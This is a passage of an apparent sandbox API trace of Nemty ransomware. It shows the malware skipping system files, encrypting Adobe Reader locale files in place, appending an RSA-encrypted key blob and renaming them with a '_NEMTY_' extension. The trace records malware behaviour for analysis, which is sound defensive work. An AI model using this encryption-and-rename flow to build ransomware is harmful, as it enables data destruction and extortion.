ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.POL", cAlternateFileName="")) returned 1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2=".") returned 1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="..") returned 1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="...") returned 1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="windows") returned -1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="rsa") returned -1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="NTDETECT.COM") returned 1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="ntldr") returned 1 [0181.101] lstrcmpiW (lpString1="reflow.POL", lpString2="MSDOS.SYS") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="IO.SYS") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="boot.ini") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="boot.ini") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="ntuser.dat") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="desktop.ini") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="CONFIG.SYS") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="RECYCLER") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="bootmgr") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="programdata") returned 1 [0181.102] lstrcmpiW (lpString1="reflow.POL", lpString2="appdata") returned 1 [0181.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.POL", lpUsedDefaultChar=0x0) returned 10 [0181.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.POL", lpUsedDefaultChar=0x0) returned 10 [0181.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.POL", lpUsedDefaultChar=0x0) returned 10 [0181.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.POL", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.POL", lpUsedDefaultChar=0x0) returned 10 [0181.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.103] Sleep (dwMilliseconds=0x5) [0181.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f996070, dwHighDateTime=0x1d561e8)) [0181.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f996070, dwHighDateTime=0x1d561e8)) [0181.114] GetLastError () returned 0x0 [0181.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.114] GetLastError () returned 0x0 [0181.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.114] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.114] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.114] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.114] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="JK1DibZJBjrSoShE2a3y2ea3J/pNsE1alZftRrZb+mUG2ETElj8/umUg625qYr9M\r\ne4mgUaGcZQiJ4MwmaYiy5ut7LK3Z2r/ujDzcJXM5xevgXEwoCyGlCkcrvPBRmao/\r\nVDnVwM1r69xW3pukDJ1LpP8g4An9nTsQyoW6HyMTLK1RoXbbEXCBmz0wHlZneBWw\r\nNhwJYCs5+tCxl1RqHFZB4ZcrWqJWlXRueLARp5g2r8H9m6+WUay4JcUI/Mf/8x9t\r\nqQ/UHljsyultiandsGm1mYPAfgrD8YKOSDNZeWfZEYj5CPMPhwVKcOxkqr6nXtPL\r\nqFA4RdibJB8nZ+TbYni0cA==\r\n", pcchString=0x653e5dc) returned 1 [0181.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\reflow.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\reflow.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.115] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0181.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0181.115] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.115] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0181.117] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.117] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0181.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.117] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0181.118] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.118] CloseHandle (hObject=0x2e8) returned 1 [0181.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0181.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.118] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\reflow.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\reflow.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\reflow.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\reflow.pol._nemty_kgobjgd_")) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.119] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.POL", cAlternateFileName="SAVEAS~1.POL")) returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2=".") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="..") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="...") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="windows") returned -1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="rsa") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="NTDETECT.COM") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="ntldr") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="MSDOS.SYS") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="IO.SYS") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="boot.ini") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="boot.ini") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="ntuser.dat") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="desktop.ini") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="CONFIG.SYS") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="RECYCLER") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="bootmgr") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="programdata") returned 1 [0181.119] lstrcmpiW (lpString1="SaveAsRTF.POL", lpString2="appdata") returned 1 [0181.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.POL", lpUsedDefaultChar=0x0) returned 13 [0181.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.POL", lpUsedDefaultChar=0x0) returned 13 [0181.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.POL", lpUsedDefaultChar=0x0) returned 13 [0181.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.POL", lpUsedDefaultChar=0x0) returned 13 [0181.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.120] Sleep (dwMilliseconds=0x5) [0181.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f9bc1d0, dwHighDateTime=0x1d561e8)) [0181.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f9bc1d0, dwHighDateTime=0x1d561e8)) [0181.130] GetLastError () returned 0x0 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.130] GetLastError () returned 0x0 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.130] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.130] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.130] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.130] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="SkgWHl6M/a+CK/ebnktun4NJ+ELyN6UmIkLv5WuhpqnvQHWVDaiZEHDPaZEaWDda\r\nFdG/E9Q+OXjNmSQjAMJZGV8lSJZZsvECYHBcLTmJwHMr/zrD1gQ1ph5Qjv3ld88r\r\nckJyK1zWU5spTyHfjZJ/GNg1gbnA4VWTqvoTghk0KobDs7AQthJ88mR2XVhiy3ON\r\nBDH3BH4gQqKgKz2ck2OTzJi2wTNBMiKATkRjFkZSC5LqxadHpVrhHAlnSitNojRL\r\n9fUf4TsP247LxoZAyaZ5+cCvpG3Yp7+HvKUfuw+sriexrnuEU7nWtPu/XKQi+UrT\r\nLoM5fMIEUK62OLO6d2Xwng==\r\n", pcchString=0x653e5dc) returned 1 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SaveAsRTF.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\saveasrtf.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.131] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0181.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0181.131] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.131] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0181.134] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.134] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0181.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.134] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0181.134] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.134] CloseHandle (hObject=0x2e8) returned 1 [0181.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.135] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SaveAsRTF.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\saveasrtf.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SaveAsRTF.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\saveasrtf.pol._nemty_kgobjgd_")) returned 1 [0181.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.135] HeapFree (in: 